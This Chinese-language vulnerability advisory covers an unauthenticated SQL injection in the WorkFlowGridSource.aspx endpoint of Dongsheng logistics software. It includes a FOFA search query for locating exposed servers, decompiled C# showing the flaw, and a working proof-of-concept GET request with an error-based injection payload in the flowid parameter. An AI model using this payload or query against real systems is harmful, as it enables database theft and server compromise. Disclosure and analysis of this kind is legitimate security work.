漏洞简介
东胜物流软件是青岛东胜伟业软件有限公司一款集订单管理、仓库管理、运输管理等多种功能于一体的物流管理软件。东胜物流信息管理系统 WorkFlowGridSource.aspx 接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
body="FeeCodes/CompanysAdapter.aspx" || body="dhtmlxcombo_whp.js" || body="dongshengsoft" || body="theme/dhtmlxcombo.css"
漏洞分析
根据 WorkFlowGridSource.aspx 的代码引用 DSWeb.WorkFlow.WorkFlowGridSource ,在dll中找到它的逻辑实现
protected void Page_Load(object sender, EventArgs e)
{
if (this.Session["USERID"] != null)
this.strUserID = this.Session["USERID"].ToString();
if (this.Request.QueryString["handle"] != null)
this.strHandle = this.Request.QueryString["handle"].ToString();
if (this.Request.QueryString["flowid"] != null)
this.strWorkFlowID = this.Request.QueryString["flowid"].ToString();
......
if (string.op_Equality(this.strHandle, "steplist") && this.strWorkFlowID != null)
this.Response.Write(this.GetWorkFlowSteps(this.strWorkFlowID));
主要就是根据handle参数的值来进行处理不同的分支逻辑
当handle=steplist且flowid必须存在时,进入GetWorkFlowSteps方法
public string GetWorkFlowSteps(string tempWorkFlowID)
{
DataTable table = new WorkFlowDA().GetDataSetBySql($"SELECT A.GID,A.STEPNO,A.NAME,A.DESCRIPTION,'查看条件',B.SHOWNAME as AUDITOR, CASE WHEN A.ISMUST = 1 THEN 1 ELSE 0 END as ISMUST, CASE WHEN A.ISLAST = 1 THEN 1 ELSE 0 END as ISLAST, CASE WHEN A.ISPARALLEL = 1 THEN 1 ELSE 0 END as ISPARALLEL,CASE WHEN A.ISDEPARTMENT = 1 THEN 1 ELSE 0 END as ISDEPARTMENT,(SELECT DEPTNAME FROM sys_dept WHERE GID = A.DEPARTMENTID) as DEPTNAME, C.SHOWNAME as CREATEUSER, A.CREATETIME FROM workflow_step as A LEFT JOIN [user] as B ON A.AUDITOR = B.GID LEFT JOIN [user] as C ON A.CREATEUSER = C.GID WHERE A.WORKFLOWID = '{tempWorkFlowID}' ORDER BY A.STEPNO ASC ").Tables[0];
StringBuilder stringBuilder = new StringBuilder();
tempWorkFlowID参数(即flowid)的值被直接拼接在GetDataSetBySql语句里执行,全程无过滤或校验,导致SQL注入漏洞。
漏洞复现
GET /WorkFlow/WorkFlowGridSource.aspx?handle=steplist&flowid='-1/user-- HTTP/1.1
Host: dongsheng.mrxn.net

通过报错注入在响应里回显数据库版本信息。

